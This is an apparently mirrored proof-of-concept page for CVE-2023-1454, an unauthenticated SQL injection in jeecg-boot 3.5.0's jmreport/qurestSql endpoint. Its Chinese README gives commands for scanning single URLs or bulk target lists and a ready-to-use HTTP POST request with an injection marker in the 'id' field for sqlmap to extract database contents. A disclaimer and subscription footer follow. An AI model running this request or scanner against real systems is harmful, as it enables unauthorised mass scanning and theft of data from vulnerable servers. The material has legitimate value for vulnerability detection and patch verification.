CVE-2023-1454 PoC — jeecg-boot qurestSql sql injection

Source

https://github.com/padbergpete47/CVE-2023-1454

Associated Vulnerability

Title:jeecg-boot qurestSql sql injection (CVE-2023-1454)
Description:A vulnerability classified as critical has been found in jeecg-boot 3.5.0. This affects an unknown part of the file jmreport/qurestSql. The manipulation of the argument apiSelectId leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-223299.

Description

CVE-2023-1454,Jeecg-Boot 前台SQL注入,CVE-2023-1454批量检测

Readme

# CVE-2023-1454
jmreport/qurestSql 未授权SQL注入批量扫描poc
Jeecg-Boot是一款基于Spring Boot和Jeecg-Boot-Plus的快速开发平台，最新的jeecg-boot 3.5.0 中被爆出多个SQL注入漏洞。

# 说明
[原工具地址](https://github.com/MzzdToT/CVE-2023-1454/)

原工具误报率高，修改了一下判断条件顺便优化了代码。


## 工具利用

python3 CVE-2023-1454-scan.py -u http://127.0.0.1:1111 单个url测试

python3 CVE-2023-1454-scan.py -f url.txt 批量检测

扫描结束后会在当前目录生成存在漏洞url的vuln.txt

poc：

![](./run.png)

exp：

将数据包保存为txt用sqlmap可得到数据
```
POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: xxx.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2088.112 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 129
{"apiSelectId":"1290104038414721025",
"id":"1*"}
```
![](https://github.com/MzzdToT/CVE-2023-1454/raw/main/exp.png)
## 免责声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。

File Snapshot


 [4.0K]  /data/pocs/2291cd6b0fce5277e0426713f67842d3efe456f2
├── [3.4K]  CVE-2023-1454.py
├── [1.2K]  README.md
└── [100K]  run.png

0 directories, 3 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!